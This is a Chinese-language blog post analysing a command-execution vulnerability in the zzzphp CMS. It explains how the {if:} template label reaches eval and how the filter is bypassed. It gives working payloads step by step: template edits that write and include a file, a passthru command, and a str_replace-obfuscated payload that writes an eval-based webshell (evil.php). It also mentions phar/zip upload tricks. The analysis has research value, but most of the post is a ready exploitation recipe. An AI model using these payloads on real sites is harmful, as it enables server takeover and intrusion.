前言

@Y4er在ChaBug群里说cnvd更新了zzzphp的一个新漏洞(命令执行)。看了一下代码部分,对绕过过滤规则比较感兴趣,趁着臭弟弟吃饭的时间找到了一个利用姿势,由于漏洞并未功开,所以具体也不知道洞主的利用方式,这里分析一下自己的利用方式吧。

漏洞利用

老规矩先来看利用方式,因为需要后台权限,所以漏洞比较鸡肋,用来getshell还是不错的。

利用过程

说着是任意文件上传,其实并不能上传php和html文件,但是通往广场的路不只一条。

1
2
3
4
5
6
7
8
首先进入后台,编辑 /模板管理/模板管理/电脑模板/cn2016/html/search.html
修改内容为如下:
{if:1)fwrite(fopen("../search/test.txt","w"),str_replace("*","","<?pphphp pphphpinfo();"));//}{end if}
保存内容后,访问http://website.com/zzzphp/search/

再次修改search.html内容:
{if:1)include('../search/test.txt');//}{end if}
同样访问http://website.com/zzzphp/search/ 即可得到webshell。

效果图

文件写入

执行命令


漏洞分析

过滤规则分析

其实过滤规则没太多需要说的,正则都看得懂,这里就简单提一下。

1
2
3
4
5
6
7
8
//根据图中的序号顺序来分析
漏洞触发点在/inc/zzz_template.php文件2345行的parserIfLabel函数中,该函数调用了eval函数,且$ifstr变量用户可控,由于过滤规则可以被绕过导致漏洞产生。(其实danger_key过滤的函数不够全面,后面还有其他方法)
1. 正则过滤绕过:
  很容易看懂,格式为{if:payload}{end if},可利用的地方在payload处。
2. 字符串过滤绕过:
  代码图在下面,起初准备利用php的复杂变量语法绕过此处正则,开始没注意到$符号被过滤了,因此这里利用文件写入加文件包含的方式绕过此处规则
3. 拼接字符串执行命令
  简单来说就是闭合if语句。

payload整理

写着写着发现完全没有必要使利用方式这么繁琐,脑子瓦特了,直接看payload吧。payload精髓就在于str_replace的利用。

1
2
3
4
1. {if:1)passthru("dir");//}{end if}
2. {if:1)fwrite(fopen(str_replace("*","","evil.php"),"w"),str_replace("*","","<?pphphp eevalval(ggetet_defined_vars()[_PPOSTOST][1]);"));//}{end if}
3. 添加文章处上传zip文件,利用phar或者zip协议。
还有其他姿势懒得浪费时间了。

写在后面

记录文章的目的一是为了巩固知识,二是分享知识。内容仅作交流讨论,请勿非法利用漏洞,谢谢。